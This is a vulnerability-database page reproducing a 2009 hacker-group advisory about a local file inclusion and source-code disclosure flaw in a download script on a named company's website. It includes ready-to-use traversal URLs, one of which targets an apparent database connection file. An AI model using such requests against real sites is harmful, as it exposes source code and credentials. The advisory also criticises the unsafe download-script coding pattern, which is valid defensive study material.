Vulners
Lucene search
Vopak Local File Inclusion
`==============================================================
===================[¦¦¦¦TeamQuarantine¦¦¦¦]===================
=====================[¦¦¦¦ 7-15-2009 ¦¦¦¦]====================
============[¦¦¦¦[email protected]¦¦¦¦]=============
===============[¦¦¦¦ Author: St00pidMnky ¦¦¦¦]================
==============================================================
===============[¦¦¦¦ http://www.vopak.com ¦¦¦¦]===============
============[¦¦¦¦ LFI/Source Code Disclosure ¦¦¦¦]============
==============================================================
==============================================================
www.vopak.com suffers form a source code disclosure vulnerability
as well as Local File Inclusion vulnerability when calling
files with download.php
==============================================================
======================[¦¦¦¦ USAGE: ¦¦¦¦]======================
==============================================================
Vulnerable: download.php?file=
download.php can be used to call almost any file on the
webserver.
Example:
http://www.vopak.com/media/download.php?file=download.php
Even more frightening:
http://www.vopak.com/media/download.php?file=../scripts/cls_dataConnect.php
==============================================================
====================[¦¦¦¦ FINAL WORD ¦¦¦¦]====================
==============================================================
Take this as a prime example of how NOT to code your file
download scripts. This script even went as far as to
prevent certain extensions (mp3) from being downloaded, but failed
to forsee the event of someone transversing directories or
including a .php extension. tsk-tsk
==============================================================
======================[¦¦¦¦ SHOUTZ ¦¦¦¦]======================
==============================================================
Everyone at TeamQuarantine!
Gm0, Eolas_Gadai`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
17 Jul 2009 00:00Current
7.4High risk
Vulners AI Score7.4